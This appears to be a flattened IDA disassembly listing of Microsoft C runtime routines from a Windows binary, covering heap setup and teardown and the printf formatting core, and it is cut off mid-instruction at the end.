bp-based frame sub_427CE0 proc near ; CODE XREF: start+7Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1000h xor eax, eax cmp [ebp+arg_0], 0 setz al push eax call ds:dword_4F64F4 ; HeapCreate mov dword_4F4E68, eax cmp dword_4F4E68, 0 jnz short loc_427D0C xor eax, eax jmp short loc_427D6B ; --------------------------------------------------------------------------- loc_427D0C: ; CODE XREF: sub_427CE0+26j call sub_427AB0 mov dword_4F4E6C, eax cmp dword_4F4E6C, 3 jnz short loc_427D43 push 3F8h call ___sbh_heap_init add esp, 4 test eax, eax jnz short loc_427D41 mov ecx, dword_4F4E68 push ecx call ds:dword_4F64F0 ; HeapDestroy xor eax, eax jmp short loc_427D6B ; --------------------------------------------------------------------------- loc_427D41: ; CODE XREF: sub_427CE0+4Ej jmp short loc_427D66 ; --------------------------------------------------------------------------- loc_427D43: ; CODE XREF: sub_427CE0+3Dj cmp dword_4F4E6C, 2 jnz short loc_427D66 call ___sbh_new_region test eax, eax jnz short loc_427D66 mov edx, dword_4F4E68 push edx call ds:dword_4F64F0 ; HeapDestroy xor eax, eax jmp short loc_427D6B ; --------------------------------------------------------------------------- loc_427D66: ; CODE XREF: sub_427CE0:loc_427D41j ; sub_427CE0+6Aj ... mov eax, 1 loc_427D6B: ; CODE XREF: sub_427CE0+2Aj ; sub_427CE0+5Fj ... pop ebp retn sub_427CE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0Ch cmp dword_4F4E6C, 3 jnz loc_427E0A mov eax, dword_4F4E88 mov [ebp-8], eax mov dword ptr [ebp-4], 0 jmp short loc_427D9D ; --------------------------------------------------------------------------- loc_427D94: ; CODE XREF: .text:00427DF1j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_427D9D: ; CODE XREF: .text:00427D92j mov edx, [ebp-4] cmp edx, dword_4F4E84 jge short loc_427DF3 push 4000h push 100000h mov eax, [ebp-8] mov ecx, [eax+0Ch] push ecx call ds:dword_4F64E4 ; VirtualFree push 8000h push 0 mov edx, [ebp-8] mov eax, [edx+0Ch] push eax call ds:dword_4F64E4 ; VirtualFree mov ecx, [ebp-8] mov edx, [ecx+10h] push edx push 0 mov eax, dword_4F4E68 push eax call ds:dword_4F6448 ; RtlFreeHeap mov ecx, [ebp-8] add ecx, 14h mov [ebp-8], ecx jmp short loc_427D94 ; --------------------------------------------------------------------------- loc_427DF3: ; CODE XREF: .text:00427DA6j mov edx, dword_4F4E88 push edx push 0 mov eax, dword_4F4E68 push eax call ds:dword_4F6448 ; RtlFreeHeap jmp short loc_427E48 ; --------------------------------------------------------------------------- loc_427E0A: ; CODE XREF: .text:00427D7Dj cmp dword_4F4E6C, 2 jnz short loc_427E48 mov dword ptr [ebp-0Ch], offset off_452DD8 loc_427E1A: ; CODE XREF: .text:00427E46j mov ecx, [ebp-0Ch] cmp dword ptr [ecx+10h], 0 jz short loc_427E37 push 8000h push 0 mov edx, [ebp-0Ch] mov eax, [edx+10h] push eax call ds:dword_4F64E4 ; VirtualFree loc_427E37: ; CODE XREF: .text:00427E21j mov ecx, [ebp-0Ch] mov edx, [ecx] mov [ebp-0Ch], edx cmp dword ptr [ebp-0Ch], offset off_452DD8 jnz short loc_427E1A loc_427E48: ; CODE XREF: .text:00427E08j ; .text:00427E11j mov eax, dword_4F4E68 push eax call ds:dword_4F64F0 ; HeapDestroy mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [000000B7 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001E4 BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000082 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000445 BYTES: COLLAPSED FUNCTION __read_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000031D BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND] off_42890D dd offset loc_42873B ; DATA XREF: __openfile+144r dd offset loc_428866 dd offset loc_428825 dd offset loc_428804 dd offset loc_428846 dd offset loc_428775 dd offset loc_4287BC dd offset loc_4287E0 dd offset loc_428799 dd offset loc_428883 byte_428935 db 0 ; DATA XREF: __openfile+13Er dw 909h dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h dd 0CC080909h ; [00000180 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND] ; [00000274 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_428D80(FILE *File,int,int) sub_428D80 proc near ; CODE XREF: _sprintf+9Ap ; __snprintf+99p ... var_2AA = word ptr -2AAh var_2A8 = dword ptr -2A8h var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = dword ptr -284h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = word ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = dword ptr -23Ch Size = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h MbCh = byte ptr -22Ch var_2D = byte ptr -2Dh var_2C = dword ptr -2Ch var_28 = dword ptr -28h Str = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch WCh = word ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 File = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2ACh push ebx push esi push edi mov [ebp+var_28], 0 mov [ebp+var_230], 0 mov [ebp+var_1C], 0 mov [ebp+var_C], 0 loc_428DAB: ; CODE XREF: sub_428D80:loc_429A29j mov eax, [ebp+arg_4] mov cl, [eax] mov byte ptr [ebp+var_2C], cl movsx edx, byte ptr [ebp+var_2C] mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test edx, edx jz loc_429A2E cmp [ebp+var_230], 0 jl loc_429A2E movsx ecx, byte ptr [ebp+var_2C] cmp ecx, 20h jl short loc_428DFD movsx edx, byte ptr [ebp+var_2C] cmp edx, 78h jg short loc_428DFD movsx eax, byte ptr [ebp+var_2C] movsx ecx, byte ptr ds:(aInconsistentIo+2Ch)[eax] and ecx, 0Fh mov [ebp+var_294], ecx jmp short loc_428E07 ; --------------------------------------------------------------------------- loc_428DFD: ; CODE XREF: sub_428D80+5Cj ; sub_428D80+65j mov [ebp+var_294], 0 loc_428E07: ; CODE XREF: sub_428D80+7Bj mov edx, [ebp+var_294] mov [ebp+var_10], edx mov eax, [ebp+var_10] mov ecx, [ebp+var_1C] movsx edx, ds:byte_43E168[ecx+eax*8] sar edx, 4 mov [ebp+var_1C], edx mov eax, [ebp+var_1C] mov [ebp+var_298], eax cmp [ebp+var_298], 7 ja loc_429A29 mov ecx, [ebp+var_298] jmp ds:off_429A3B[ecx*4] loc_428E47: ; CODE XREF: sub_428D80+339j ; DATA XREF: .text:off_429A3Bo mov [ebp+var_20], 0 mov edx, [ebp+var_2C] and edx, 0FFh mov eax, off_454E04 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_428EC4 lea edx, [ebp+var_230] push edx ; int mov eax, [ebp+File] push eax ; File movsx ecx, byte ptr [ebp+var_2C] push ecx ; int call _write_char add esp, 0Ch mov edx, [ebp+arg_4] mov al, [edx] mov byte ptr [ebp+var_2C], al mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx loc_428E95: ; CODE XREF: sub_428D80+142j movsx edx, byte ptr [ebp+var_2C] test edx, edx jnz short loc_428EBE push offset aCh_t0 ; "ch != _T('\\0')" push 0 ; int push 18Eh ; Value push offset aOutput_c ; "output.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_428EBE int 3 ; Trap to Debugger loc_428EBE: ; CODE XREF: sub_428D80+11Bj ; sub_428D80+13Bj xor eax, eax test eax, eax jnz short loc_428E95 loc_428EC4: ; CODE XREF: sub_428D80+EAj lea ecx, [ebp+var_230] push ecx ; int mov edx, [ebp+File] push edx ; File movsx eax, byte ptr [ebp+var_2C] push eax ; int call _write_char add esp, 0Ch jmp loc_429A29 ; --------------------------------------------------------------------------- loc_428EE1: ; CODE XREF: sub_428D80+C0j ; DATA XREF: .text:00429A3Fo mov [ebp+var_8], 0 mov ecx, [ebp+var_8] mov [ebp+var_240], ecx mov edx, [ebp+var_240] mov [ebp+var_248], edx mov eax, [ebp+var_248] mov [ebp+var_14], eax mov [ebp+var_4], 0 mov [ebp+Size], 0FFFFFFFFh mov [ebp+var_20], 0 jmp loc_429A29 ; --------------------------------------------------------------------------- loc_428F23: ; CODE XREF: sub_428D80+C0j ; DATA XREF: .text:00429A43o movsx ecx, byte ptr [ebp+var_2C] mov [ebp+var_29C], ecx mov edx, [ebp+var_29C] sub edx, 20h mov [ebp+var_29C], edx cmp [ebp+var_29C], 10h ja short loc_428F8D mov ecx, [ebp+var_29C] xor eax, eax mov al, ds:byte_429A73[ecx] jmp ds:off_429A5B[eax*4] loc_428F5A: ; CODE XREF: sub_428D80+C0j ; DATA XREF: .text:00429A67o mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx jmp short loc_428F8D ; --------------------------------------------------------------------------- loc_428F65: ; CODE XREF: sub_428D80+C0j ; sub_428D80+1D3j ; DATA XREF: ... mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax jmp short loc_428F8D ; --------------------------------------------------------------------------- loc_428F6F: ; CODE XREF: sub_428D80+C0j ; sub_428D80+1D3j ; DATA XREF: ... mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx jmp short loc_428F8D ; --------------------------------------------------------------------------- loc_428F7A: ; CODE XREF: sub_428D80+C0j ; sub_428D80+1D3j ; DATA XREF: ... mov edx, [ebp+var_4] or dl, 80h mov [ebp+var_4], edx jmp short loc_428F8D ; --------------------------------------------------------------------------- loc_428F85: ; CODE XREF: sub_428D80+C0j ; sub_428D80+1D3j ; DATA XREF: ... mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_428F8D: ; CODE XREF: sub_428D80+C0j ; sub_428D80+1C3j ... jmp loc_429A29 ; --------------------------------------------------------------------------- loc_428F92: ; CODE XREF: sub_428D80+C0j ; DATA XREF: .text:00429A47o movsx ecx, byte ptr [ebp+var_2C] cmp ecx, 2Ah jnz short loc_428FCE lea edx, [ebp+arg_8] push edx call _get_int_arg add esp, 4 mov [ebp+var_248], eax cmp [ebp+var_248], 0 jge short loc_428FCC mov eax, [ebp+var_4] or al, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_248] neg ecx mov [ebp+var_248], ecx loc_428FCC: ; CODE XREF: sub_428D80+234j jmp short loc_428FE5 ; --------------------------------------------------------------------------- loc_428FCE: ; CODE XREF: sub_428D80+219j mov edx, [ebp+var_248] imul edx, 0Ah movsx eax, byte ptr [ebp+var_2C] lea ecx, [edx+eax-30h] mov [ebp+var_248], ecx loc_428FE5: ; CODE XREF: sub_428D80:loc_428FCCj jmp loc_429A29 ; --------------------------------------------------------------------------- loc_428FEA: ; CODE XREF: sub_428D80+C0j ; DATA XREF: .text:00429A4Bo mov [ebp+Size], 0 jmp loc_429A29 ; --------------------------------------------------------------------------- loc_428FF9: ; CODE XREF: sub_428D80+C0j ; DATA XREF: .text:00429A4Fo movsx edx, byte ptr [ebp+var_2C] cmp edx, 2Ah jnz short loc_429029 lea eax, [ebp+arg_8] push eax call _get_int_arg add esp, 4 mov [ebp+Size], eax cmp [ebp+Size], 0 jge short loc_429027 mov [ebp+Size], 0FFFFFFFFh loc_429027: ; CODE XREF: sub_428D80+29Bj jmp short loc_429040 ; --------------------------------------------------------------------------- loc_429029: ; CODE XREF: sub_428D80+280j mov ecx, [ebp+Size] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_2C] lea eax, [ecx+edx-30h] mov [ebp+Size], eax loc_429040: ; CODE XREF: sub_428D80:loc_429027j jmp loc_429A29 ; --------------------------------------------------------------------------- loc_429045: ; CODE XREF: sub_428D80+C0j ; DATA XREF: .text:00429A53o movsx ecx, byte ptr [ebp+var_2C] mov [ebp+var_2A0], ecx mov edx, [ebp+var_2A0] sub edx, 49h mov [ebp+var_2A0], edx cmp [ebp+var_2A0], 2Eh ja short loc_4290D3 mov ecx, [ebp+var_2A0] xor eax, eax mov al, ds:byte_429A98[ecx] jmp ds:off_429A84[eax*4] loc_42907C: ; DATA XREF: .text:00429A8Co mov edx, [ebp+var_4] or edx, 10h mov [ebp+var_4], edx jmp short loc_4290D3 ; --------------------------------------------------------------------------- loc_429087: ; CODE XREF: sub_428D80+2F5j ; DATA XREF: .text:off_429A84o mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 36h jnz short loc_4290B2 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+1] cmp eax, 34h jnz short loc_4290B2 mov ecx, [ebp+arg_4] add ecx, 2 mov [ebp+arg_4], ecx mov edx, [ebp+var_4] or dh, 80h mov [ebp+var_4], edx jmp short loc_4290BE ; --------------------------------------------------------------------------- loc_4290B2: ; CODE XREF: sub_428D80+310j ; sub_428D80+31Cj mov [ebp+var_1C], 0 jmp loc_428E47 ; --------------------------------------------------------------------------- loc_4290BE: ; CODE XREF: sub_428D80+330j jmp short loc_4290D3 ; --------------------------------------------------------------------------- loc_4290C0: ; CODE XREF: sub_428D80+2F5j ; DATA XREF: .text:00429A88o mov eax, [ebp+var_4] or al, 20h mov [ebp+var_4], eax jmp short loc_4290D3 ; --------------------------------------------------------------------------- loc_4290CA: ; CODE XREF: sub_428D80+2F5j ; DATA XREF: .text:00429A90o mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_4290D3: ; CODE XREF: sub_428D80+2E5j ; sub_428D80+2F5j ... jmp loc_429A29 ; --------------------------------------------------------------------------- loc_4290D8: ; CODE XREF: sub_428D80+C0j ; DATA XREF: .text:00429A57o movsx edx, byte ptr [ebp+var_2C] mov [ebp+var_2A4], edx mov eax, [ebp+var_2A4] sub eax, 43h mov [ebp+var_2A4], eax cmp [ebp+var_2A4], 35h ja loc_429833 mov edx, [ebp+var_2A4] xor ecx, ecx mov cl, ds:byte_429B03[edx] jmp ds:off_429AC7[ecx*4] loc_429113: ; DATA XREF: .text:off_429AC7o mov eax, [ebp+var_4] and eax, 830h test eax, eax jnz short loc_429128 mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_429128: ; CODE XREF: sub_428D80+38Cj ; sub_428D80+39Dj ; DATA XREF: ... mov edx, [ebp+var_4] and edx, 810h test edx, edx jz short loc_42916E lea eax, [ebp+arg_8] push eax call _get_short_arg add esp, 4 mov [ebp+WCh], ax mov cx, [ebp+WCh] push ecx ; WCh lea edx, [ebp+MbCh] push edx ; MbCh call _wctomb add esp, 8 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jge short loc_42916C mov [ebp+var_240], 1 loc_42916C: ; CODE XREF: sub_428D80+3E0j jmp short loc_429194 ; --------------------------------------------------------------------------- loc_42916E: ; CODE XREF: sub_428D80+3B3j lea eax, [ebp+arg_8] push eax call _get_int_arg add esp, 4 mov [ebp+var_24C], ax mov cl, byte ptr [ebp+var_24C] mov [ebp+MbCh], cl mov [ebp+var_28], 1 loc_429194: ; CODE XREF: sub_428D80:loc_42916Cj lea edx, [ebp+MbCh] mov [ebp+Str], edx jmp loc_429833 ; --------------------------------------------------------------------------- loc_4291A2: ; CODE XREF: sub_428D80+38Cj ; DATA XREF: .text:00429AD7o lea eax, [ebp+arg_8] push eax call _get_int_arg add esp, 4 mov [ebp+var_250], eax cmp [ebp+var_250], 0 jz short loc_4291C9 mov ecx, [ebp+var_250] cmp dword ptr [ecx+4], 0 jnz short loc_4291E3 loc_4291C9: ; CODE XREF: sub_428D80+43Bj mov edx, off_45501C mov [ebp+Str], edx mov eax, [ebp+Str] push eax ; Str call _strlen add esp, 4 mov [ebp+var_28], eax jmp short loc_429232 ; --------------------------------------------------------------------------- loc_4291E3: ; CODE XREF: sub_428D80+447j mov ecx, [ebp+var_4] and ecx, 800h test ecx, ecx jz short loc_429213 mov edx, [ebp+var_250] mov eax, [edx+4] mov [ebp+Str], eax mov ecx, [ebp+var_250] movsx edx, word ptr [ecx] shr edx, 1 mov [ebp+var_28], edx mov [ebp+var_20], 1 jmp short loc_429232 ; --------------------------------------------------------------------------- loc_429213: ; CODE XREF: sub_428D80+46Ej mov [ebp+var_20], 0 mov eax, [ebp+var_250] mov ecx, [eax+4] mov [ebp+Str], ecx mov edx, [ebp+var_250] movsx eax, word ptr [edx] mov [ebp+var_28], eax loc_429232: ; CODE XREF: sub_428D80+461j ; sub_428D80+491j jmp loc_429833 ; --------------------------------------------------------------------------- loc_429237: ; CODE XREF: sub_428D80+38Cj ; DATA XREF: .text:00429ACFo mov ecx, [ebp+var_4] and ecx, 830h test ecx, ecx jnz short loc_42924D mov edx, [ebp+var_4] or dh, 8 mov [ebp+var_4], edx loc_42924D: ; CODE XREF: sub_428D80+38Cj ; sub_428D80+4C2j ; DATA XREF: ... cmp [ebp+Size], 0FFFFFFFFh jnz short loc_429262 mov [ebp+var_2A8], 7FFFFFFFh jmp short loc_42926E ; --------------------------------------------------------------------------- loc_429262: ; CODE XREF: sub_428D80+4D4j mov eax, [ebp+Size] mov [ebp+var_2A8], eax loc_42926E: ; CODE XREF: sub_428D80+4E0j mov ecx, [ebp+var_2A8] mov [ebp+var_25C], ecx lea edx, [ebp+arg_8] push edx call _get_int_arg add esp, 4 mov [ebp+Str], eax mov eax, [ebp+var_4] and eax, 810h test eax, eax jz short loc_4292FD cmp [ebp+Str], 0 jnz short loc_4292A4 mov ecx, off_455020 mov [ebp+Str], ecx loc_4292A4: ; CODE XREF: sub_428D80+519j mov [ebp+var_20], 1 mov edx, [ebp+Str] mov [ebp+var_258], edx loc_4292B4: ; CODE XREF: sub_428D80+56Bj mov eax, [ebp+var_25C] mov ecx, [ebp+var_25C] sub ecx, 1 mov [ebp+var_25C], ecx test eax, eax jz short loc_4292ED mov edx, [ebp+var_258] xor eax, eax mov ax, [edx] test eax, eax jz short loc_4292ED mov ecx, [ebp+var_258] add ecx, 2 mov [ebp+var_258], ecx jmp short loc_4292B4 ; --------------------------------------------------------------------------- loc_4292ED: ; CODE XREF: sub_428D80+54Bj ; sub_428D80+55Aj mov edx, [ebp+var_258] sub edx, [ebp+Str] sar edx, 1 mov [ebp+var_28], edx jmp short loc_429357 ; --------------------------------------------------------------------------- loc_4292FD: ; CODE XREF: sub_428D80+513j cmp [ebp+Str], 0 jnz short loc_42930B mov eax, off_45501C mov [ebp+Str], eax loc_42930B: ; CODE XREF: sub_428D80+581j mov ecx, [ebp+Str] mov [ebp+var_254], ecx loc_429314: ; CODE XREF: sub_428D80+5C9j mov edx, [ebp+var_25C] mov eax, [ebp+var_25C] sub eax, 1 mov [ebp+var_25C], eax test edx, edx jz short loc_42934B mov ecx, [ebp+var_254] movsx edx, byte ptr [ecx] test edx, edx jz short loc_42934B mov eax, [ebp+var_254] add eax, 1 mov [ebp+var_254], eax jmp short loc_429314 ; --------------------------------------------------------------------------- loc_42934B: ; CODE XREF: sub_428D80+5ABj ; sub_428D80+5B8j mov ecx, [ebp+var_254] sub ecx, [ebp+Str] mov [ebp+var_28], ecx loc_429357: ; CODE XREF: sub_428D80+57Bj jmp loc_429833 ; --------------------------------------------------------------------------- loc_42935C: ; CODE XREF: sub_428D80+38Cj ; DATA XREF: .text:00429AE7o lea edx, [ebp+arg_8] push edx call _get_int_arg add esp, 4 mov [ebp+var_260], eax mov eax, [ebp+var_4] and eax, 20h test eax, eax jz short loc_42938A mov ecx, [ebp+var_260] mov dx, word ptr [ebp+var_230] mov [ecx], dx jmp short loc_429398 ; --------------------------------------------------------------------------- loc_42938A: ; CODE XREF: sub_428D80+5F6j mov eax, [ebp+var_260] mov ecx, [ebp+var_230] mov [eax], ecx loc_429398: ; CODE XREF: sub_428D80+608j mov [ebp+var_240], 1 jmp loc_429833 ; --------------------------------------------------------------------------- loc_4293A7: ; CODE XREF: sub_428D80+38Cj ; DATA XREF: .text:00429ACBo mov [ebp+var_8], 1 mov dl, byte ptr [ebp+var_2C] add dl, 20h mov byte ptr [ebp+var_2C], dl loc_4293B7: ; CODE XREF: sub_428D80+38Cj ; DATA XREF: .text:00429AE3o mov eax, [ebp+var_4] or al, 40h mov [ebp+var_4], eax lea ecx, [ebp+MbCh] mov [ebp+Str], ecx cmp [ebp+Size], 0 jge short loc_4293DD mov [ebp+Size], 6 jmp short loc_429411 ; --------------------------------------------------------------------------- loc_4293DD: ; CODE XREF: sub_428D80+64Fj cmp [ebp+Size], 0 jnz short loc_4293FB movsx edx, byte ptr [ebp+var_2C] cmp edx, 67h jnz short loc_4293FB mov [ebp+Size], 1 jmp short loc_429411 ; --------------------------------------------------------------------------- loc_4293FB: ; CODE XREF: sub_428D80+664j ; sub_428D80+66Dj cmp [ebp+Size], 200h jle short loc_429411 mov [ebp+Size], 200h loc_429411: ; CODE XREF: sub_428D80+65Bj ; sub_428D80+679j ... cmp [ebp+Size], 0A3h jle short loc_429458 push 2EAh push offset aOutput_c ; "output.c" push 2 mov eax, [ebp+Size] add eax, 15Dh push eax call __malloc_dbg add esp, 10h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_42944E mov ecx, [ebp+var_C] mov [ebp+Str], ecx jmp short loc_429458 ; --------------------------------------------------------------------------- loc_42944E: ; CODE XREF: sub_428D80+6C4j mov [ebp+Size], 0A3h loc_429458: ; CODE XREF: sub_428D80+69Bj ; sub_428D80+6CCj mov edx, [ebp+arg_8] add edx, 8 mov [ebp+arg_8], edx mov eax, [ebp+arg_8] sub eax, 8 mov ecx, [eax] mov edx, [eax+4] mov [ebp+var_268], ecx mov [ebp+var_264], edx mov eax, [ebp+var_8] push eax ; int mov ecx, [ebp+Size] push ecx ; Size movsx edx, byte ptr [ebp+var_2C] push edx ; int mov eax, [ebp+Str] push eax ; int lea ecx, [ebp+var_268] push ecx ; int call off_4553B0 add esp, 14h mov edx, [ebp+var_4] and edx, 80h test edx, edx jz short loc_4294BF cmp [ebp+Size], 0 jnz short loc_4294BF mov eax, [ebp+Str] push eax call off_4553BC add esp, 4 loc_4294BF: ; CODE XREF: sub_428D80+727j ; sub_428D80+730j movsx ecx, byte ptr [ebp+var_2C] cmp ecx, 67h jnz short loc_4294E2 mov edx, [ebp+var_4] and edx, 80h test edx, edx jnz short loc_4294E2 mov eax, [ebp+Str] push eax call off_4553B4 add esp, 4 loc_4294E2: ; CODE XREF: sub_428D80+746j ; sub_428D80+753j mov ecx, [ebp+Str] movsx edx, byte ptr [ecx] cmp edx, 2Dh jnz short loc_4294FF mov eax, [ebp+var_4] or ah, 1 mov [ebp+var_4], eax mov ecx, [ebp+Str] add ecx, 1 mov [ebp+Str], ecx loc_4294FF: ; CODE XREF: sub_428D80+76Bj mov edx, [ebp+Str] push edx ; Str call _strlen add esp, 4 mov [ebp+var_28], eax jmp loc_429833 ; --------------------------------------------------------------------------- loc_429513: ; CODE XREF: sub_428D80+38Cj ; DATA XREF: .text:00429ADFo mov eax, [ebp+var_4] or al, 40h mov [ebp+var_4], eax mov [ebp+var_23C], 0Ah jmp loc_4295AB ; --------------------------------------------------------------------------- loc_42952A: ; CODE XREF: sub_428D80+38Cj ; DATA XREF: .text:00429AF7o mov [ebp+var_23C], 0Ah jmp short loc_4295AB ; --------------------------------------------------------------------------- loc_429536: ; CODE XREF: sub_428D80+38Cj ; DATA XREF: .text:00429AEFo mov [ebp+Size], 8 loc_429540: ; CODE XREF: sub_428D80+38Cj ; DATA XREF: .text:00429AD3o mov [ebp+var_234], 7 jmp short loc_429556 ; --------------------------------------------------------------------------- loc_42954C: ; CODE XREF: sub_428D80+38Cj ; DATA XREF: .text:00429AFBo mov [ebp+var_234], 27h loc_429556: ; CODE XREF: sub_428D80+7CAj mov [ebp+var_23C], 10h mov ecx, [ebp+var_4] and ecx, 80h test ecx, ecx jz short loc_42958A mov byte ptr [ebp+var_244], 30h mov edx, [ebp+var_234] add edx, 51h mov byte ptr [ebp+var_244+1], dl mov [ebp+var_14], 2 loc_42958A: ; CODE XREF: sub_428D80+7EBj jmp short loc_4295AB ; --------------------------------------------------------------------------- loc_42958C: ; CODE XREF: sub_428D80+38Cj ; DATA XREF: .text:00429AEBo mov [ebp+var_23C], 8 mov eax, [ebp+var_4] and eax, 80h test eax, eax jz short loc_4295AB mov ecx, [ebp+var_4] or ch, 2 mov [ebp+var_4], ecx loc_4295AB: ; CODE XREF: sub_428D80+7A5j ; sub_428D80+7B4j ... mov edx, [ebp+var_4] and edx, 8000h test edx, edx jz short loc_4295D5 lea eax, [ebp+arg_8] push eax call _get_int64_arg add esp, 4 mov [ebp+var_27C], eax mov [ebp+var_278], edx jmp loc_429666 ; --------------------------------------------------------------------------- loc_4295D5: ; CODE XREF: sub_428D80+836j mov ecx, [ebp+var_4] and ecx, 20h test ecx, ecx jz short loc_429627 mov edx, [ebp+var_4] and edx, 40h test edx, edx jz short loc_429607 lea eax, [ebp+arg_8] push eax call _get_int_arg add esp, 4 movsx eax, ax cdq mov [ebp+var_27C], eax mov [ebp+var_278], edx jmp short loc_429625 ; --------------------------------------------------------------------------- loc_429607: ; CODE XREF: sub_428D80+867j lea ecx, [ebp+arg_8] push ecx call _get_int_arg add esp, 4 and eax, 0FFFFh cdq mov [ebp+var_27C], eax mov [ebp+var_278], edx loc_429625: ; CODE XREF: sub_428D80+885j jmp short loc_429666 ; --------------------------------------------------------------------------- loc_429627: ; CODE XREF: sub_428D80+85Dj mov edx, [ebp+var_4] and edx, 40h test edx, edx jz short loc_42964C lea eax, [ebp+arg_8] push eax call _get_int_arg add esp, 4 cdq mov [ebp+var_27C], eax mov [ebp+var_278], edx jmp short loc_429666 ; --------------------------------------------------------------------------- loc_42964C: ; CODE XREF: sub_428D80+8AFj lea ecx, [ebp+arg_8] push ecx call _get_int_arg add esp, 4 xor edx, edx mov [ebp+var_27C], eax mov [ebp+var_278], edx loc_429666: ; CODE XREF: sub_428D80+850j ; sub_428D80:loc_429625j ... mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_4296AE cmp [ebp+var_278], 0 jg short loc_4296AE jl short loc_429684 cmp [ebp+var_27C], 0 jnb short loc_4296AE loc_429684: ; CODE XREF: sub_428D80+8F9j mov ecx, [ebp+var_27C] neg ecx mov edx, [ebp+var_278] adc edx, 0 neg edx mov [ebp+var_270], ecx mov [ebp+var_26C], edx mov eax, [ebp+var_4] or ah, 1 mov [ebp+var_4], eax jmp short loc_4296C6 ; --------------------------------------------------------------------------- loc_4296AE: ; CODE XREF: sub_428D80+8EEj ; sub_428D80+8F7j ... mov ecx, [ebp+var_27C] mov [ebp+var_270], ecx mov edx, [ebp+var_278] mov [ebp+var_26C], edx loc_4296C6: ; CODE XREF: sub_428D80+92Cj mov eax, [ebp+var_4] and eax, 8000h test eax, eax jnz short loc_4296ED mov ecx, [ebp+var_270] mov edx, [ebp+var_26C] and edx, 0 mov [ebp+var_270], ecx mov [ebp+var_26C], edx loc_4296ED: ; CODE XREF: sub_428D80+950j cmp [ebp+Size], 0 jge short loc_429702 mov [ebp+Size], 1 jmp short loc_429720 ; --------------------------------------------------------------------------- loc_429702: ; CODE XREF: sub_428D80+974j mov eax, [ebp+var_4] and al, 0F7h mov [ebp+var_4], eax cmp [ebp+Size], 200h jle short loc_429720 mov [ebp+Size], 200h loc_429720: ; CODE XREF: sub_428D80+980j ; sub_428D80+994j mov ecx, [ebp+var_270] or ecx, [ebp+var_26C] test ecx, ecx jnz short loc_429737 mov [ebp+var_14], 0 loc_429737: ; CODE XREF: sub_428D80+9AEj lea edx, [ebp+var_2D] mov [ebp+Str], edx loc_42973D: ; CODE XREF: sub_428D80+A66j mov eax, [ebp+Size] mov ecx, [ebp+Size] sub ecx, 1 mov [ebp+Size], ecx test eax, eax jg short loc_42976A mov edx, [ebp+var_270] or edx, [ebp+var_26C] test edx, edx jz loc_4297EB loc_42976A: ; CODE XREF: sub_428D80+9D4j mov eax, [ebp+var_23C] cdq push edx push eax mov eax, [ebp+var_26C] push eax mov ecx, [ebp+var_270] push ecx call __aullrem add eax, 30h mov [ebp+var_274], eax mov eax, [ebp+var_23C] cdq push edx push eax mov edx, [ebp+var_26C] push edx mov eax, [ebp+var_270] push eax call __aulldiv mov [ebp+var_270], eax mov [ebp+var_26C], edx cmp [ebp+var_274], 39h jle short loc_4297D2 mov ecx, [ebp+var_274] add ecx, [ebp+var_234] mov [ebp+var_274], ecx loc_4297D2: ; CODE XREF: sub_428D80+A3Ej mov edx, [ebp+Str] mov al, byte ptr [ebp+var_274] mov [edx], al mov ecx, [ebp+Str] sub ecx, 1 mov [ebp+Str], ecx jmp loc_42973D ; --------------------------------------------------------------------------- loc_4297EB: ; CODE XREF: sub_428D80+9E4j lea edx, [ebp+var_2D] sub edx, 